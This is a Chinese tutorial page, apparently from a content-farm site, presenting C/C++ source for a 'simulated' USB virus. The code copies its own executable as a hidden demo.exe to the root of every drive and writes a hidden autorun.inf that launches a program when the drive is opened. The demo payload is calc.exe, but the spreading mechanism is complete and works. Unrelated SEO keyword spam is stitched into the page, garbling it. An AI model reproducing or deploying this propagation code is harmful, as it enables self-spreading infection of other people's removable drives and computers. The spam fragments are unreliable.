700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 最简单的模拟U盘病毒(Autorun.inf)

最简单的模拟U盘病毒(Autorun.inf)

时间:2019-05-22 00:43:38

相关推荐

最简单的模拟U盘病毒(Autorun.inf)

后端开发|C#.Net教程

模拟U盘病毒,Autorun.inf

后端开发-C#.Net教程

autorun.inf是我们电脑使用中比较常见的系统文件 ,其作用是允许在双击磁盘时自动运行指定的某个文件。

下面介绍几个API函数

1.DWORD GetLogicalDriveStrings(DWORD nBufferLength, // size of bufferLPTSTR lpBuffer // drive strings buffer);

2.char *strncpy(char *dest,char *src,size_t n);第1个参数:char *strDest目的字符串指针。 第2个参数:const char *strSource源字符串指针。 第3个参数:size_t count 拷贝长度。 返回值:目的字符串指针。

下面是C/C++代码

手机wifi传输文件源码,mac 删除vscode,移动文件ubuntu,sts引入tomcat,手机sqlite测速,有没有免费的服务器空间,风格插件),如何引入web前端框架,跨网段爬虫,php好还是安卓,seo关键词排名优化如何,jsp购物网站登录源码,关闭网页悬浮窗,app分享内容网页模板,网站子页面代码,办公管理系统 php,特征点匹配matlab程序lzw

#define _CRT_SECURE_NO_WARNINGS #includechar *gstrAutoRun = "[autorun]\\r\nopen=calc.exe \\r\nshell\\open\\Command=calc.exe \\r\nshell\\explore=资源管理器(&X) \\r\nshell\\explore\\Command=calc.exe \\r\nshellexecute=calc.exe\\r\nshell\\Auto\\Command=calc.exe"; void Infect(char *pstrFilePath) {char strDriveStrings[MAXBYTE] = { 0 };DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);DWORD dwError = 0;for (size_t i = 0; i < dwDriveStrLen; i += 4){char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };strncpy(strRoot, &strDriveStrings[i], 4);strcpy(strTargetPath, strRoot);strcat(strTargetPath, "demo.exe");if (!CopyFileA(pstrFilePath,strTargetPath,false)){ dwError = GetLastError();} SetFileAttributesA(strTargetPath, FILE_ATTRIBUTE_HIDDEN);strcpy(strTargetPath, strRoot);strcat(strTargetPath, "autorun.inf");HANDLE hFile = CreateFileA(strTargetPath, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,nullptr);DWORD dwLen = 0;WriteFile(hFile, gstrAutoRun, strlen(gstrAutoRun), &dwLen, nullptr);CloseHandle(hFile);} } int main() {char strSelfPath[MAX_PATH] = { 0 };GetModuleFileNameA(nullptr, strSelfPath, MAX_PATH);Infect(strSelfPath);return 0; }

微赞源码怎么安装,支持 手机 ubuntu,进不去tomcat的主页,huginn和爬虫,php 性别,余杭区seo关键词平台lzw

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。